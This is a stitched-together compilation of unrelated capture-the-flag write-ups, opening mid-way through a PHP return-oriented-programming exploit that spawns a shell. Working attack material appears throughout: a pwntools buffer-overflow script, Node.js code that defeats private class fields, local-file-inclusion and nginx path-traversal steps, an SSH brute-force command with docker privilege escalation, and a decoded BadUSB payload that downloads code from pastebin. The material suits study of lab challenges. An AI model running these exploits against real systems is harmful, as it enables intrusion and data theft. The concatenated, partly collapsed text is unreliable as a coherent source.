$payload = str_repeat("x", 0x110);// $payload .= pack("Q", 0xdeadbeef); // rbp// $payload .= pack("Q*",// POPRDI, $libc + 0x18,// PUTS,// 0x00401336, // stage 2// ); // rip//// $t->expect("Give me your name: ");// $t->write($payload);//// $leak = $t->readLine();// $leak = str_pad(substr($leak, 0, 8), 8, "\x00");// $entry = unpack("Q", $leak)[1];// printf("Entry : %X\n", $entry);//// /* stage 3 *///// $payload = str_repeat("x", 0x110);// $payload .= pack("Q", 0xdeadbeef); // rbp// $payload .= pack("Q*",// $libc + $entry,// ); // rip//// $t->expect("Give me your name: ");// $t->write($payload); $payload = str_repeat("x", 0x110);$payload .= pack("Q", 0xdeadbeef); // rbp$payload .= pack("Q*", POPRDI, $libc + BINSH, $libc + SYSTEM, -1,); // rip $t->expect("Give me your name: ");$t->write($payload); printf("[!] shell\n");$t->pipe();```
## Screenshot If you use StegSolve or StegOnline and browse the bit planes, you see something interesting `Red 1` has `Doesnt seem so significant to me``Green 0` has some telltale signs of data and `This is more interesting` After extracting selecting bit plane Green 0 with pixel order column and running `strings` through it we get the flag, easy Flag: `syskronCTF{s3cr3T_m3sS4g3}`
# 90s KidsAuthor: syyntax        Points: 150        Category: SQL ## Problem description According to conversations found in Ghost Town, r34p3r despises 90s kids and tends to target them in his attacks. How many users in the Shallow Grave SQL dump were born in October in the 1990s? Submit the flag as flag{#}. Use the [file](https://tinyurl.com/yxv5qbla) from Address Book. Max attempts: 10 ## Concepts* [Regular expression](https://en.wikipedia.org/wiki/Regular_expression)* [Python3 regex](https://docs.python.org/3/howto/regex.html) ## Solution We are given a database dump containing the database schema and instances.The challenge category suggests solving the task using SQL, but I thought it wouldbe pretty straightforward to use regex on the database dump to get the numberof users that were born in October in the 1990s. Examining the database dump (with line numbers), we see that users are stored in the`users` table: ```363 CREATE TABLE `users` (364 `user_id` int NOT NULL AUTO_INCREMENT,365 `username` varchar(52) NOT NULL,366 `first` varchar(52) NOT NULL,367 `last` varchar(52) NOT NULL,368 `middle` varchar(24) DEFAULT NULL,369 `email` varchar(52) NOT NULL,370 `street` varchar(52) NOT NULL,371 `city` varchar(52) NOT NULL,372 `state_id` int NOT NULL,373 `zip` varchar(10) NOT NULL,374 `gender` varchar(8) NOT NULL,375 `dob` date NOT NULL,(...)``` The instances of this table are in the format:```390 INSERT INTO `users` VALUES (1,'housing.petty','EDWARDO','RETTA','U','[email protected]','4129 Pocan Rd','Camas',56,'98607','m','2001-10-01'),(2,'ess4yste4k','COLLENE','KOEPER','T','ess4yste4k@s peedeemail.com','2306 Gahnite Ave','Navarre',41,'44662','f','2000-10-18')(...)``` Looking at the user instances, we see that the date of birth is stored in the`dob` attribute. This attribute is the only one that uses a `date` format, soit should be easy to make a regex that matches only for users born inOctober in the 90s. Considering the `dob` format `'yyyy-mm-dd'`, the regex needs to match`'199y-10-dd'`. We can use python to solve the challenge. Python has the `re` library for regex.The `re.findall` function will be useful: ```>>> import re>>> help(re.findall)Help on function findall in module re: findall(pattern, string, flags=0) Return a list of all non-overlapping matches in the string. If one or more capturing groups are present in the pattern, return a list of groups (...)``` The following python code will help us to find the flag: First, we import the `re` library, and read database dump line 390 (containing alluser instances) into a variable, `the_line`: ```>>> import re>>>>>> the_line = "">>> with open("../shallowgraveu.sql") as f:... for i, line in enumerate(f):... if i == 389: # i is 0-indexed so we start at line 0 instead of 1... the_line = line... break``` Next, we can use `re.findall` to match our regex against `the_line`.The match variable will be a list, containing the `dob` for all users born in Octoberin the 1990s. ```>>> match = re.findall("199[0-9]{1}-10-[0-9]{2}", the_line)>>> print(match)['1994-10-05', '1994-10-23', '1997-10-12', '1995-10-05', '1992-10-02', '1994-10-14', '1994-10-15', '1990-10-13', '1996-10-02', '1991-10-06', '1992-10-27', '1998-10-17', '1994-10-27', '1999-10-05', '1995-10-20', '1990-10-21', '1998-10-25', '1998-10-04', '1992-10-27', '1994-10-07', '1993-10-14', '1999-10-07', '1996-10-21', '1996-10-02', '1996-10-08', '1995-10-07', '1999-10-06', '1990-10-19', '1992-10-08', '1995-10-04', '1999-10-15', '1994-10-22']``` Now, we can print the number of matching `dob`. ```>>> print(len(match))32``` So now we know that 32 users were born in October in the 1990s. Thus, according to the flag format, given in the description, the flag is \`flag{32}`.
# Redacted networks ## Task Oh, this is a news report on our Secure Line project. But someone removed a part of the story?! File: 2020-10-1-secureline.png Tags: forensics ## Solution There is a redacted part in the news article, a transparent layer. Converting the png to jpg make that part visible again: ```bashconvert 2020-10-1-secureline.png 2020-10-1-secureline.jpg```
# DarkCTF 2020 ## linux/secret vault > 63 solves / 446 points>> Author: Wolfy>> There's a vault hidden find it and retrieve the information. Note: Do not use any automated tools.>> `ssh [email protected] -p 10000`>> Alternate: `ssh [email protected] -p 10000 password: wolfie` Tags: _linux_ _rev_ ## Session ```bash# ssh [email protected] -p 10000The authenticity of host '[vault.darkarmy.xyz]:10000 ([23.101.25.254]:10000)' can't be established.ECDSA key fingerprint is SHA256:MS7Zz6kEilIJH832qKHwAiXH0iYqRUeAFpLNL4kejkA.Are you sure you want to continue connecting (yes/no/[fingerprint])? yesWarning: Permanently added '[vault.darkarmy.xyz]:10000,[23.101.25.254]:10000' (ECDSA) to the list of known hosts. ___ _ _ | \ __ _ _ _| |__ /_\ _ _ _ __ _ _ | |) / _` | '_| / / / _ \| '_| ' \ || | |___/\__,_|_| |_\_\/_/ \_\_| |_|_|_\_, | |__/[email protected]'s password:DISCLAIMER: Please don't abuse the server ! These Tasks were done to practice some Linux Author: wolfie, Contact me for any problems ** Please wait a little! Wolfie cooking the environment for you! Have Fun ** dark@491454fa2b59:/home/dark$ find / -name "*vault*" -print 2>/dev/null/home/.secretdoor/vault dark@491454fa2b59:/home/dark$ /home/.secretdoor/vault wrong pin: (null) dark@491454fa2b59:/home/dark$ /home/.secretdoor/vault 1234 wrong pin: 1234``` At this point I should have just looped all 4 digit numbers, but pins can be longer so I opted to exfiltrate and work with it offline. For me, just as easy. There was no `base64`, `strings`, `hexdump`, etc... to make this easier, but `od` was left behind (I was already on the system, might as well just grab it): ```bashdark@491454fa2b59:/home/dark$ od -v -t x1 /home/.secretdoor/vault``` Output: ```0000000 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 000000020 03 00 3e 00 01 00 00 00 70 10 00 00 00 00 00 000000040 40 00 00 00 00 00 00 00 c0 39 00 00 00 00 00 000000060 00 00 00 00 40 00 38 00 0b 00 40 00 1e 00 1d 00...``` After buffer cut/paste, run locally: ```cat vault.hex | sed 's/^........//' | tr '\n' ' ' | xxd -r -p >vault``` Then decompile with Ghidra: ```c local_c = 8000; local_10 = 600; local_14 = 200; local_18 = 6; local_1c = 0x225a; sprintf(local_26,"%d",0x225a); local_58 = 0x3f57366f4c393741; local_50 = 0x3168513b443b254f; local_48 = 0x5d706c304a62494e; local_40 = 0x29463b6f6e5e4623; local_38 = 0x2870216943397274; local_30 = 0x403729582b; local_28 = 0; if ((1 < param_1) && (iVar1 = strcmp(*(char **)(param_2 + 8),local_26), iVar1 == 0)) { printf("\nVault Unlocked :%s \n",&local_58); return 0; } printf("\nwrong pin: %s\n",*(undefined8 *)(param_2 + 8)); return 0;``` ```# echo $((0x225a))8794``` There's your pin. You can run `strings` to get the secret, or just run `vault` locally: ```bash# ./vault $((0x225a)) Vault Unlocked :A79Lo6W?O%;D;Qh1NIbJ0lp]#F^no;F)tr9Ci!p(+X)7@``` Flag: ```bash# python3 -c 'import base64; print(base64.a85decode("A79Lo6W?O%;D;Qh1NIbJ0lp]#F^no;F)tr9Ci"))'b'darkCTF{R0bb3ry_1s_Succ3ssful'```
# Granular DataMisc![screenshot1.png](Granular.png)## Challenge ![screenshot2.png](Garrett.png) ## Solution also an easy challenge the flag was hidden in metadata/exifdata ```exiftool Garrett.png```gives the flag ![flag.png](flag.png) ##flag : flag{h4t3d_1n_th3_n4t10n_0MTBu}
## Contact Card Extract all the filesRun `binwalk` on all the files, one of them is a Win PE ExecutableOpen `www.random4.cpl` in Ghildra, or simply use stringsWe get > Thanks for the entrance! We pasted this for you: xSAvEyND. Accept? pasted this for you is human speak for go to pastebin.com/raw/xSAvEyND (Why is this 400 points, solved this in a min but I cannot solve the rest the day before LOL) Flag: `syskronCTF{n3v3r_c11ck_unkn0wn_11nk5}`
# HID ## Task One of my colleagues found a USB stick in the parking lot in front of our company. Fortunately he handed it over directly to us . The drive contains an SD card with just one file. Maybe it's no normal USB flash drive? File: inject.bin Tags: binary-analysis ## Solution A USB device can be used as a HID (Human-Interface-Device). It looks like a USB stick, but is actually a keyboard. This is called HID attack or BadUSB. What you think you get: a filesystem.What you get: a keyboard that launches malicious commands to take over your computer. The tag is very misleading. This isn't binary analysis, we actually just need to find the tool that was used to encode this keyboard inputs. A very popular device is the Rubber Ducky. `The USB Rubber Ducky injects keystrokes at superhuman speeds` While researching I came across this very interesting post: https://security.stackexchange.com/a/109595 It is definitely worth a read. There is also a link to a repository: https://github.com/brandonlw/Psychson#running-demo-1-hid-payload There is explained how to use the `Duckencoder` to encode the `Rubber Ducky format`. There is also a link to a decoder: https://github.com/midnitesnake/usb-rubber-ducky (forwarded from the google url). We can use the `Decode/ducky-decode.pl` script to decode the `inject.bin`. ```bash$ perl ducky-decode.pl -f inject.bin > decoded.txt``` In the decoded file we find a lot of errors, like `windowstzle`. The keyboard layout is obviously wrong. We could fix that by changing the replacements in the script, but let's look for the flag first. After scrolling down a lot and filtering out noise we find this: `N e t . W e b C l i e n t ( . D o w n l o a d S t r i n g * | h t t p s > & & p a s t e b i n . c o m & r a w & Y R D 8 j s v d | ( < @` Now we just need to replace `Y` with `Z`, `>` with `:`, `&` with `/` and open the correct url. Done.
The most famous Mahatma definitely indicates** Mahatma Gandhi** and it was written that he was permanently brought which means that his **statue** was brought to lisbon.Looking at the pictures of the Statue shows the year of the statue inaugaration in **1998**. Using the list of Lisbon Mayors from Wikipedia, the mayor in Lisbon during this time was **João Soares**. Hence the **flag{João Soares}**
# Ladder password (100 points) ## Description A BB engineer encoded her password in ladder logic. Each "r" can be either 0 or 1 and represents a character in her password. "r1" is the first character, "r2" the second one, and so on. We assume that n1 is a small value and n3 is big. n2 may be between n1 and n3. Please decode the password to demonstrate that this technique of storing passwords is insecure. [Attached image](https://github.com/holypower777/ctf_writeups/blob/main/syskronCTF_2020/ladder_password/ladder-password.png) ## Solution Opening the picture, you can understand that the Ladder logic method is used here. The easiest way to solve this problem is to google "ladder logic online". Immediately, you can find the site https://www.plcfiddle.com/ in which we build exactly the same scheme as in the picture. Variables **b** and **r** are of type boolean, and variable **n** is digit. Having built the circuit, we look at the variables **r** and those that highlited are equal to 1 Flag: 0011100011
# Security.txt (200 points) ## Description The security.txt draft got updated (https://tools.ietf.org/html/draft-foudil-securitytxt-10). Is Senork's file still up-to-date? [https://www.senork.de/.well-known/security.txt](https://github.com/holypower777/ctf_writeups/syskronCTF_2020/security_txt/security.txt) ## Solution By clicking on the second link, we see a link to the OpenPGP key. We open it and see the key in the base64: ```-----BEGIN PGP PUBLIC KEY BLOCK----- mDMEX1IeNRYJKwYBBAHaRw8BAQdAGkGzrffXJoSEuPxIZ+ADdMAH1COdISkwrmFCZyCWGP+0X0JCIEluZHVzdHJ5IGEucy4gUFNJUlQgKHN5c2tyb25DVEZ7V2gwLXB1dDMtZmxhZzMtMW50by0wcGVuUEdQLWtleTM/Pz99KSA8cHNpcnRAYmItaW5kdXN0cnkuY3o+iJYEExYIAD4WIQQb0Dqaer1Y3W4NxowpcUAVAB/owgUCX1IeNQIbAwUJAE8aAAULCQgHAgYVCgkICwIEFgIDAQIeAQIXgAAKCRApcUAVAB/owkYsAP9uMtdg0YInW+JgxdZbGhP7dQS7Bv1fKARx2GDcVUt7BAD/cgkM1BSC3jT1PuutPA7HDwC7709QGbka8o/G1t9EBwE==mLiy-----END PGP PUBLIC KEY BLOCK-----``` We decode from base64 and get the flag: ```˜3?_R?5? +????ÚG????@?A³­÷×&„„¸üHgà?tÀ?Ô#!)0®aBg –?ÿ´_BB Industry a.s. PSIRT (syskronCTF{Wh0-put3-flag3-1nto-0penPGP-key3???}) <[email protected]>ˆ–????>?!??Ð:šz½XÝnƌ)q@??èÂ??_R?5???? O??? ????? ?????????????€ ?)q@??èÂF,ÿn2×`т'[â`ÅÖ[??ûu?»?ý_(?qØ`ÜUK{?ÿr ?Ô?‚Þ4õ>ë­<?Ç?»ïOP?¹?òÆÖßD??``` Flag: syskronCTF{Wh0-put3-flag3-1nto-0penPGP-key3???}
Disabling only waf fucntion with exhausting account-security, leads to reach app function without any filter.Triggering exception in waf function, make pricing only account-security without propagation to app function.Same solution is available, in version 1.0 challenge.
# ThuseDay Exposed webcam solv- Write-Up Author: ed0419- Flag: syskronCTF{why-1s-th1s-file-here?} ## Challenge Description>We conducted an external scan of our infrastructure (e.g., IP addresses, domain names) and found an exposed webcam at [link removed as it is unavailable now]/camtest/front/cam1.>We don't know who operates the camera at Senork. Please help us and analyze the webcam to identify the operator.>Note: Do not use brute force, web crawlers or exploits to solve the challenge! ---## Find the button & file>We tried out all the button on the web page,and we found out that the reset & reboot button in the (maintenance page) can return an error log>Here is what if you press the reset button![img](./reboot-pendding.png) Here is the result![img](./reboot-error.png) The error code seems like a encrypt base64 code,so we decrypt it![img](./base64-convert.png) And it return an a file path,which is https://www.senork.de/camtest/front/cam1/backup_2020/2020-10-20-root-restore.backup[2020-10-20-root-restore.backup](./2020-10-20-root-restore.backup) So we can donwload the file,and use Linux command file to check the file type,and it is an a encrypt zipped file.---## Find the password to the zipped file>Opened up the file,there is another zipped file in the zipped file>So we need two passwords We found some password in (Parameter page) ![img](./pass.png) And we can find another password in the account management pageChange the html field box type=password to text,result in a plain text(dYzqmTkKv457BENsKBGSfD5vcudrXe)---## Use 7z to open the backup file>You can finally get the flag by unzipping the 「backup」file.
### **Solution:**> Upon checking the source code of the file, you can see that there is a string variable (or character array) that's capable of holding 48 characters. Run the original file and input a string longer than 48 characters. This should cause a "segmentation fault" that would break the binary and cause it to trip the "if" statement, which has the system return the contents of a locally stored file on the remote server. Connect to the remote server with "netcat" and perform the same operation.This should return the flag.> >  > > Edit: A string 61 bytes and over will break it. I am not exactly sure why, but if someone could comment it and explain, that'd be great. #### **Flag:** MetaCTF{just_a_little_auth_bypass}
# Time Eater > Category: Linux> Description: ```This room requires account on Try Hack Me tryhackme.com/jr/darkctflo``` # User Regular enumeration with nmap and gobuster: ```# Nmap 7.80 scan initiated Sun Sep 27 22:20:56 2020 as: nmap -sC -sV -oN nmapInitial 10.10.202.112Nmap scan report for 10.10.202.112Host is up (0.27s latency).Not shown: 998 closed portsPORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)| ssh-hostkey: | 2048 64:60:d1:e5:39:96:90:b9:3c:72:b0:35:c2:2a:e4:f9 (RSA)| 256 3c:07:fb:86:de:65:9b:52:59:70:de:06:2e:58:21:48 (ECDSA)|_ 256 b7:ed:d9:dd:40:46:b4:dc:c8:c3:5c:a1:28:78:73:f7 (ED25519)80/tcp open http Apache httpd 2.4.29 ((Ubuntu))|_http-server-header: Apache/2.4.29 (Ubuntu)|_http-title: Dimension by HTML5 UPService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .# Nmap done at Sun Sep 27 22:21:42 2020 -- 1 IP address (1 host up) scanned in 45.62 seconds``` Exploring the site while gobuster runs and gong through the paths found turns out to be a major rabbit hole hunt, quite literally indeed: ```/images (Status: 301)/info (Status: 301)/assets (Status: 301)/test (Status: 301)/cd (Status: 301)/git (Status: 301)/rabbit (Status: 301)/uniqueroot (Status: 301)``` At this point, I was starting to be a bit lost as I was not finding much to proceed, until magically gobuster found `/uniqueroot` and this was the game changer I was waiting for. (note to self never stop gobuster before it finishes) ![image](https://user-images.githubusercontent.com/69213271/94384282-2eba5500-0110-11eb-808e-22de86d0c203.png) ![image](https://user-images.githubusercontent.com/69213271/94384296-3b3ead80-0110-11eb-8d65-9ef9653cdbbb.png) And finally: ![image](https://user-images.githubusercontent.com/69213271/94384326-50b3d780-0110-11eb-9d40-0e15f5b8d379.png) So the way to gain initial access is to hydra ssh using rockyou, now the way the text is written is a bit confusing and indeed I ended up trying both `wolfie` and `elliot` as users. `hydra -l elliot -P /opt/rockyou.txt ssh://10.10.202.112 -t 60` Found password `godisgood` ![image](https://user-images.githubusercontent.com/69213271/94384736-49d99480-0111-11eb-83f5-12659b8f5666.png) SSH to the box `ssh [email protected]`: ![image](https://user-images.githubusercontent.com/69213271/94384570-e51e3a00-0110-11eb-99df-ce94cd8ad6b0.png) `sudo -l ` showed somthing pretty usefull: ![image](https://user-images.githubusercontent.com/69213271/94384604-f49d8300-0110-11eb-80a0-a1a57482b0df.png) And we have user flag: ![image](https://user-images.githubusercontent.com/69213271/94384647-1991f600-0111-11eb-8abc-880b66a03d70.png) `flag{user_flag_for_this_challenge}` # Root After we gained access as `dark` we now need to find a privesc way to root. At this point I was going for `linpeas.sh` but something caught my attention on `dark` user, he's on group `docker`, that is 99% a priesc vector. This was probably not supposed to be on the machine but it proved my theory: ![image](https://user-images.githubusercontent.com/69213271/94384886-b2c10c80-0111-11eb-8fe9-8054c4f70002.png) So can I just resume this and get done with it? Yep !!! ![image](https://user-images.githubusercontent.com/69213271/94385067-2400bf80-0112-11eb-9e11-f7dbbd571ea3.png) ![image](https://user-images.githubusercontent.com/69213271/94385106-3f6bca80-0112-11eb-8b42-6b5c3b3509fb.png) And I am root in a docker container with the filesystem of `/root` mounted on `/mnt`, so I can just go and fetch the flag right?Wrong ... apparently there is no flag at the `/root/root.flag`, well nothing that a find cannot solve and it found the flag at `/mnt/root/.rootflag/root.txt` ![image](https://user-images.githubusercontent.com/69213271/94385212-907bbe80-0112-11eb-9c38-b649a00bd58d.png) `darkCTF{Escalation_using_D0cker_1ss_c00l}`
Main idea:```name = gets.stripname_hash = Digest::SHA2.hexdigest namechash = name_hash.consistent_hashrand = Random.new(chash)...x[0] = rand.rand(600000)...k[0] = (a*x[0] + m) % p```We need to create such `name` which seed leads to generating of `x[0]==0`. This way, exposed `k[0] = (a*0+m)%p = m%p = m`One of such names is `aaaajvki`. Full solution:```#!/usr/bin/ruby require 'digest'require 'consistent_hash' def bin_to_hex(s) s.each_byte.map { |b| b.to_s(16) }.joinend flag = 'aaa'p = 2**127 - 1m = bin_to_hex(flag).hex puts(m) raise "Incorrect flag" unless m < p $i = 0 name0 = "" c1 = c2 = c3 = c4 = c5 = c6 = c7 = c8 = 'a'.ord while c1 <= 'z'.ord do while c2 <= 'z'.ord do while c3 <= 'z'.ord do while c4 <= 'z'.ord do while c5 <= 'z'.ord do while c6 <= 'z'.ord do while c7 <= 'z'.ord do while c8 <= 'z'.ord do name = c1.chr + c2.chr + c3.chr + c4.chr + c5.chr + c6.chr + c7.chr + c8.chr # puts(name) name_hash = Digest::SHA2.hexdigest name chash = name_hash.consistent_hash rand = Random.new(chash) a = rand(2..(p - 1)) x = [] k = [] x[0] = rand.rand(600000) if x[0] == 0 then puts(name) # k[0] = (a*x[0] + m) % p # puts(k[0]) # exit end c8 += 1 end c7 += 1 c8 = 'a'.ord end c6 += 1 c7 = c8 = 'a'.ord end c5 += 1 c6 = c7 = c8 = 'a'.ord end c4 += 1 c5 = c6 = c7 = c8 = 'a'.ord end c3 += 1 c4 = c5 = c6 = c7 = c8 = 'a'.ord end c2 += 1 c3 = c4 = c5 = c6 = c7 = c8 = 'a'.ord end c1 += 1 c2 = c3 = c4 = c5 = c6 = c7 = c8 = 'a'.ordend```
# Syskron Security CTF 2020- DoS attack - Write-Up Author: Rb916120 \[[MOCTF](https://www.facebook.com/MOCSCTF)\] - Flag:SyskronCTF{Industroyer} ## **Question:**DoS attack >Challenge description >One customer of Senork Vertriebs GmbH reports that some older Siemens devices repeatedly crash. >We looked into it and it seems that there is some malicious network traffic that triggers a DoS condition. >Can you please identify the malware used in the DoS attack? We attached the relevant network traffic. >>Flag format: syskronCTF{name-of-the-malware} >>Hint >They bought some older SIPROTEC 4 protection relays. [dos-attack.pcap](./dos-attack.pcap) ## Write up**below tool required in this article.** [packettotal](https://packettotal.com/) - an engine for analyzing, categorizing, and sharing .pcap files --- upload to [packettotal](https://packettotal.com/) this will tell you the answer. https://packettotal.com/app/analysis?id=19909e5d2b04c11171c3ae2c29a3e22b![img](./img/1.PNG) >SyskronCTF{Industroyer}
There is information hiding in the green channel LSB. Using [Steganabara](https://github.com/quangntenemy/Steganabara)'s Bit Mask Filter to extract it we see the text "This is more interesting" and some binary-encoded pixels. ![Steganabara's Bit Mask Filter](https://raw.githubusercontent.com/CTF-STeam/ctf-writeups/master/2020/Syskron/Screenshot/steganabara-screenshot.png) ![Steganabara's output](https://raw.githubusercontent.com/CTF-STeam/ctf-writeups/master/2020/Syskron/Screenshot/Screenshot_2020-05-19_at_11.38.08_AM_G0.png) [Extract the pixels, change it to black/white](https://raw.githubusercontent.com/CTF-STeam/ctf-writeups/master/2020/Syskron/Screenshot/Screenshot_2020-05-19_at_11.38.08_AM_G0_XT.png) and use [dcode's binary image](https://www.dcode.fr/binary-image) to extract the flag. ```011100110111100101110011011010110111001001101111011011100100001101010100010001100111101101110011001100110110001101110010001100110101010001011111011011010011001101110011010100110011010001100111001100110111110100``` Flag: `syskronCTF{s3cr3T_m3sS4g3}`
## Introduction> We have a rogue agent trying to infiltrate our campaign. They have good opsec but we got a tip that they have some secret information uploaded on a hacker file storage site they run. Maybe we can find a way to steal that information from them and prevent more damage to our campaign.> > First lets see if we can get some more information about the inner workings of the site. Its not open source but when has that stopped us. You are provided with a link to a website (http://dotlocker.hackthe.vote/) but nothing else. You are automatically get a guest account where you can create files and save them on you account.On the top is a navigation bar with a dropdown where you can choose from list of templates to create a new file. If your choose one, i.e. the .bashrc template you get directet to the following url: `http://dotlocker.hackthe.vote/new/etc/skel/.bashrc` ## Local File InclusionThe `/etc/skel/.bashrc` is a path to a directory and file which exists on a typical linux system. By changing it to `/etc/passwd` we got the content of the passwd file. We tried also to access other paths like `/proc/self/cmdline` or `/etc/../proc/self/cmdline` but we got a server error or "page not found" page. This means we only have access to any file in the /etc directory. To get more information about the system and the server they are using we look into the answer http header when accessing a page: ```HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 26 Oct 2020 09:29:16 GMTContent-Type: text/html; charset=utf-8Connection: closeVary: CookieContent-Length: 2177```From there we see that the system uses nginx as a (probably proxy) server. Nginx has a default configuration for hosts in `/etc/nginx/sites-enabled/default` which is often also used as the active configuration file. Using the LFI exploit we are able to get the content of this config file: ```server { listen 80; server_name _; location / { proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; proxy_set_header Host $http_host; proxy_redirect off; # proxy to /server/server.py proxy_pass http://unix:/tmp/gunicorn.sock; } location ^~ /static { include /etc/nginx/mime.types; alias /server/static/; }}``` The comment gives us the hint that the actual webserver is written in python and is located in `/server/server.py`. We also see that static files are servered directly by nginx from the directory `/server/static`. ## Nginx path traversalThe configuration for serving the static files is misconfigured because of a missing / at the end of `location ^~ /static` (for more information see https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/). This enables to get one directory up by using the path `/static../`. As we know from the nginx configuration the server side path is `/server/static/` and the webserver source code is in `/server/server.py`. By accessing the the page `/static../server.py` we are able to download the server.py which contains the flag as comment: `flag{0ff_by_sl4sh_n0w_1_hav3_y0ur_sourc3}`
# Syskron Security CTF 2020Total Points: 400 Placing: 458th #### Table of Contents- [Forensics](#forensics) - [Redacted News](#re)- [Packet-Analysis](#packet) - [DoS Attack](#dos)- [Web](#web) - [Security Headers](#head) # Forensics## Redacted News![date](https://img.shields.io/badge/date-10.21.2020-brightgreen.svg)![forensics category](https://img.shields.io/badge/category-Forensics-lightgrey.svg)![score](https://img.shields.io/badge/score-100-blue.svg) ### Description```Oh, this is a news report on our Secure Line project. But someone removed a part of the story?!``` ### Attached files- 2020-10-1-secureline.png ### SolutionI found a tool that would find the solution for us in an instant called fotoforensics (http://fotoforensics.com) After I uploaded the image, I used the hidden pixels tool to find the cached information ### Alternative SolutionConvert the png file into a jpg```convert 2020-10-1-secureline.png 2020-10-1-secureline.jpg``` ### Flag```syskronCTF{d0-Y0u-UNdEr5TaND-C2eCh?}``` # Packet Analysis ## DoS attack![date](https://img.shields.io/badge/date-10.21.2020-brightgreen.svg)![packet-analysis category](https://img.shields.io/badge/Category-Packet%20Analysis-lightgrey)![score](https://img.shields.io/badge/score-100-blue.svg) ### Description```One customer of Senork Vertriebs GmbH reports that some older Siemens devices repeatedly crash. We looked into it and it seems that there is some malicious network traffic that triggers a DoS condition. Can you please identify the malware used in the DoS attack? We attached the relevant network traffic. Flag format: syskronCTF{name-of-the-malware}``` ### Attached files- dos-attack.pcap ### SolutionI feel like you don't need to analyze the pcap file if the name and the description exposes the answer but let's analyze the pcap file.![image-20201024191946907](C:\Users\joshu\AppData\Roaming\Typora\typora-user-images\image-20201024191946907.png)This is a representation of a single machine DoS'ing another machine. In this case 172.16.31.155. If we follow the UDP stream:![image-20201024192257977](C:\Users\joshu\AppData\Roaming\Typora\typora-user-images\image-20201024192257977.png)It is just layers upon layers of messages flooding UDP traffic to the target. Now that we know that this is a DoS attack, we need to know what the name of this attack is. The description provides information about a company named Siemens. So I searched up "Siemen DoS vulnerability" which brought a lot of articles about Siemens recent vulnerability from a DoS attack.**Article:** https://securitybrief.com.au/story/claroty-reveals-dos-vulnerability-in-siemens-protocolIn the reading, you'll see the name "Industroyer" popping out in the article, so when I tried that, it worked! ### Flag```syskronCTF{Industroyer}``` # Web ## Security Headers![date](https://img.shields.io/badge/date-10.21.2020-brightgreen.svg)![web category](https://img.shields.io/badge/category-web-lightgrey.svg)![score](https://img.shields.io/badge/score-100-blue.svg) ### Description```Can you please check the security-relevant HTTP response headers on www.senork.de. Do they reflect current best practices?``` ### SolutionWhen they asked for HTTP headers I should've instantly gone to burpsuite to see how I can tinker with the headers. But I instantly went to using curl which wasn't any help; it only gave me the http source code.```> curl -I https://senork.deHTTP/2 301server: nginxdate: Sat, 24 Oct 2020 23:07:17 GMTcontent-type: text/htmlcontent-length: 178location: https://www.senork.de/strict-transport-security: max-age=31536000; includeSubdomains; preload```But after aimlessly using curl, I finally decided to use burpsuite and see what'll happenAfter intercepting the website, I placed it into the repeater and sent it again. Which lead to the flag being exposed. Playing back the request to the server did something that lead to it responding with the flag. ### Flag```SyskronCTF{y0u-f0und-a-header-flag}```
tl;dr: it was a bomb-like challenge where you needed to pass each check. [https://blackbeard666.github.io/pwn_exhibit/content/2020_CTF/HackLuCTF/rev_flagdroid/flagdroid_writeup.html](https://blackbeard666.github.io/pwn_exhibit/content/2020_CTF/HackLuCTF/rev_flagdroid/flagdroid_writeup.html)
# SECCON 2020 Online CTF - Capsule & Beginner's Capsule - Author's Writeup ## Author @hakatashi ## Challenge Summary The task is quite obvious from the appearence of the given website. ![](https://i.imgur.com/6WZBHgQ.png) You can arbitrarily change the code below the given header and the task is to get the value stored in ESNext's [Private Class Field](https://v8.dev/features/class-fields#private-class-fields). *Decapsulation.* ```jsconst fs = require('fs');const {enableSeccompFilter} = require('./lib.js'); class Flag { #flag; constructor(flag) { this.#flag = flag; }} const flag = new Flag(fs.readFileSync('flag.txt').toString());fs.unlinkSync('flag.txt'); enableSeccompFilter(); // input goes here``` `enableSeccompFilter` function is just for preventing dumb solution to read out `/proc/self/mem` so you don't have to care about it. ## Capsule: Intended Solution You can access [V8's inspector API](https://chromedevtools.github.io/devtools-protocol/) from [Node.js](https://nodejs.org/api/inspector.html) and get hidden property like this. Note that you must put `flag` variable to the global scope to inspect. ```jsglobal.flag = flag;const inspector = require('inspector');const session = new inspector.Session();session.connect();session.post('Runtime.evaluate', {expression: 'flag'}, (e, d) => { session.post('Runtime.getProperties', {objectId: d.result.objectId}, (e, d) => { console.log(d.privateProperties[0].value.value); });});``` (I didn't know it, but this is mentioned [here](https://github.com/nodejs/node/issues/27404#issuecomment-569924796)) ## Capsule: Unintended Solution You can inject fake `require` function using [function hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting) and read `flag.txt` before it is removed. ```jsfunction require() { const fs = process.mainModule.require('fs'); console.log(fs.readFileSync('flag.txt').toString());}``` So basic... :man-facepalming: ## Capsule: Unintended Solution We expected Node.js cannot directly read memory without `/proc/self/mem`, but actually it is possible using [v8.getHeapSnapshot](https://nodejs.org/api/v8.html#v8_v8_getheapsnapshot). ```jsconst v8 = require('v8');const memory = v8.getHeapSnapshot().read();const index = memory.indexOf('SEC' + 'CON');const len = memory.slice(index).indexOf('}');const flagBuffer = memory.slice(index, index + len + 1);console.log(flagBuffer.toString());```
Just like Baffling Buffer 0 the vulnurability is in **gets()**. We have to give the right input which is "Sup3rs3cr3tC0de" and also execute a buffer overflow, this is possible by passing a null byte right after our input. The gets() function shall read bytes from the standard input stream, stdin, into the array pointed to by buf, until a <newline> is read or an end-of-file condition is encountered. After providing the right input, we need to overwrite the ret address for the vuln function by the win function's address that is going to read and write the flag. Python script:```from pwn import * host = "host1.metaproblems.com" port = 5151r = remote(host, port) p = "Sup3rs3cr3tC0de"pad = 60-len(p)-5win = 0x401172 r.sendline(p+ "\x00" + pad*"A" + p64(win).decode()) # "\x72\x11\x40\x00" print(r.recvall())``` *Check github url for binary, script and c code.*
